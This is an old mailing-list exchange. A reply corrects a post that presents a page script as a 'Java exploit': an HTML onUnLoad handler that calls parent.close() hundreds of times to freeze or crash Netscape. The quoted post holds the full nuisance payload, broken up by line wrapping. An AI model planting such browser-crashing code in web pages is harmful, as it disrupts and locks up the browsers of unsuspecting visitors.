uh, hi. Have you been programming "Java" for long? Because the language
you're showing here is Javascript, not Java. It's a completely different
language, and there is no way to have inline Java with html statements as
Java is (more or less) a compiled language while Javascript is interpreted
(and can be parsed by browsers on the fly along with HTML statements). Or
am I wrong about this?
and anyway, what's your point? Every programmer can write bad code that
loops badly - and the code in your example here can be done much more easily
within a loop. That is, if you actually want to create a useless web page
that crashes people's browsers that have JAVASCRIPT enabled, not java
Don
-------------------------
-----Original Message-----
From: James J. Capone <[EMAIL PROTECTED]>
To: '[EMAIL PROTECTED]' <[EMAIL PROTECTED]>
Date: Sunday, July 11, 1999 10:13 PM
Subject: [newbie] Exploit in Java for Netscape
>I found a Exploit in All Internet browsers that support Java. The only way
this
>works is to have Java Running..
>
>Here it is though:
>
><BODY onLoad="alert('Welcome to my test! Full of examples, tutorials,
scripts,
>and links! All for FREE!! Check it out!');" onUnLoad="confirm('Are you
sure
>you want to leave this
>page?');parent.close();parent.close();parent.close();parent.close();parent.
c
>lose();parent.close();parent.close();parent.close();parent.close();parent.c
l
>ose();parent.close();parent.close();parent.close();parent.close();parent.cl
o
>se();parent.close();parent.close();parent.close();parent.close();parent.clo
s
>e();parent.close();parent.close();parent.close();parent.close();parent.clos
e
>();parent.close();parent.close();parent.close();parent.close();parent.close
(
>);parent.close();parent.close();parent.close();parent.close();parent.close()
>;parent.close();parent.close();parent.close();parent.close();parent.close();
>parent.close();parent.close();parent.close();parent.close();parent.close();p
>arent.close();parent.close();parent.
close();parent.close();parent.close();pa
>rent.close();parent.close();parent.close();parent.close();parent.close();pa
r
>ent.close();parent.close();parent.close();parent.close();parent.close();par
e
>nt.close();parent.close();parent.close();parent.close();parent.close();pare
n
>t.close();parent.close();parent.close();parent.close();parent.close();paren
t
>.close();parent.close();parent.close();parent.close();parent.close();parent
.
>close();parent.close();parent.close();parent.close();parent.close();parent.
c
>lose();parent.close();parent.close();parent.close();parent.close();parent.c
l
>ose();parent.close();parent.close();parent.close();parent.close();parent.cl
o
>se();parent.close();parent.close();parent.close();parent.close();parent.clo
s
>e();parent.close();parent.close();parent.close();parent.close();parent.clos
e
>();parent.close();parent.close();parent.close();parent.close();parent.close
(
>);parent.close();parent.close();parent.close();parent.close();parent.close()
>;parent.close();parent.close();parent.close();parent.close();parent.close();
>parent.close();parent.close();parent.close();parent.close();parent.close();p
>arent.close();parent.close();parent.close();parent.close();parent.close();pa
>rent.close();parent.close();parent.close();parent.close();parent.close();par
>ent.close();parent.close();parent.close();parent.close();parent.close();pare
>nt.close();parent.close();parent.close();parent.close();parent.close();paren
>t.close();parent.close();parent.close();parent.close();parent.close();parent
>.close();parent.close();parent.close();parent.close();parent.close();parent.
>close();parent.close();parent.close();parent.close();parent.close();parent.c
>lose();parent.close();parent.close();parent.close();parent.close();parent.cl
>ose();parent.close();parent.close();parent.close();parent.close();parent.clo
>se();parent.close();parent.close();parent.close();parent.close();parent.clos
>e();parent.close();parent.close();parent.close();parent.clo
se();parent.close
>();parent.close();parent.close();parent.close();parent.close();parent.close
(
>);parent.close();parent.close();parent.close();parent.close();parent.close()
>;parent.close();parent.close();parent.close();parent.close();parent.close();
>parent.close();parent.close();parent.close();parent.close();parent.close();p
>arent.close();parent.close();parent.close();parent.close();parent.close();pa
>rent.close();parent.close();parent.close();parent.close();parent.close();par
>ent.close();parent.close();parent.close();parent.close();parent.close();pare
>nt.close();parent.close();parent.close();parent.close();parent.close();paren
>t.close();parent.close();parent.close();parent.close();parent.close();parent
>.close();parent.close();parent.close();parent.close();parent.close();parent.
>close();parent.close();parent.close();parent.close();parent.close();parent.c
>lose();parent.close();parent.close();parent.close();parent.close();parent.cl
>ose();parent.close();parent.close();parent.close();parent.close();parent.clo
>se();parent.close();parent.close();parent.close();parent.close();parent.clos
>e();parent.close();parent.close();parent.close();parent.close();parent.close
>();parent.close();parent.close();parent.close();parent.close();parent.close(
>);parent.close();parent.close();parent.close();parent.close();parent.close()
>;parent.close();parent.close();parent.close();parent.close();parent.close();
>parent.close();parent.close();parent.close();parent.close();parent.close();p
>arent.close();parent.close();parent.close();parent.close();parent.close();pa
>rent.close();parent.close();parent.close();parent.close();parent.close();par
>ent.close();parent.close();parent.close();parent.close();parent.close();pare
>nt.close();parent.close();parent.close();parent.close();parent.close();paren
>t.close();parent.close();parent.close();parent.close();parent.close();parent
>.close();parent.close();parent.close();parent.close();parent.close();parent.
>c
lose();parent.close();parent.close();parent.close();parent.close();parent.c
>lose();parent.close();parent.close();parent.close();parent.close();parent.c
l
>ose();parent.close();parent.close();parent.close();parent.close();parent.cl
o
>se();parent.close();parent.close();parent.close();parent.close();parent.clo
s
>e();parent.close();parent.close();parent.close();parent.close();parent.clos
e
>();parent.close();parent.close();parent.close();parent.close();parent.close
(
>);parent.close();parent.close();parent.close();parent.close();parent.close()
>;parent.close();parent.close();parent.close();parent.close();parent.close();
>parent.close();parent.close();parent.close();parent.close();parent.close();p
>arent.close();parent.close();parent.close();parent.close();parent.close();pa
>rent.close();parent.close();parent.close();parent.close();parent.close();par
>ent.close();parent.close();parent.close();parent.close();parent.close();pare
>nt.close();parent.close();parent.close();parent.close();parent.close();paren
>t.close();parent.close();parent.close();parent.close();parent.close();parent
>.close();parent.close();parent.close();parent.close();parent.close();parent.
>close();parent.close();parent.close();parent.close();parent.close();parent.c
>lose();parent.close();parent.close();parent.close();parent.close();parent.cl
>ose();parent.close();parent.close();parent.close();parent.close();parent.clo
>se();parent.close();parent.close();parent.close();parent.close();parent.clos
>e();parent.close();parent.close();parent.close();parent.close();parent.close
>();parent.close();parent.close();parent.close();parent.close();parent.close(
>);parent.close();parent.close();parent.close();parent.close();parent.close()
>;parent.close();parent.close();parent.close();parent.close();parent.close();
>parent.close();parent.close();parent.close();parent.close();parent.close();p
>arent.close();parent.close();parent.close();parent.close();parent.close();pa
>rent.close();parent.clos
e();parent.close();parent.close();parent.close();par
>ent.close();parent.close();parent.close();parent.close();parent.close();par
e
>nt.close();parent.close();parent.close();parent.close();parent.close();pare
n
>t.close();parent.close();parent.close();parent.close();parent.close();paren
t
>.close();parent.close();parent.close();parent.close();parent.close();parent
.
>close();parent.close();parent.close();parent.close();parent.close();parent.
c
>lose();parent.close();parent.close();parent.close();parent.close();parent.c
l
>ose();">
>
>Now when you try to leave the Page it will continue to Pop up a question
"This
>program wants to close the window. Will you allow it?" with a yes or no.
Well
>it will continue to ask that question. And will cause the program to freeze
up
>and lock. Also in some cases the Netscape browser will just crash all
>together..
>
>Check out the test page at
>
>http://linuxuser.8m.com/test.html
>
>Please view the script before you do anything...
>
>James J. Capone
>=======================
>Webmaster http://linuxuser.8m.com
>Asst. Webmaster http://www.ptm.com
>Co-Author - Linux Book For Newbies.
>"The Only Person To Hear Both Sides Of A Argument Is The Guy In The
Apartment
>Next To Yours!"
>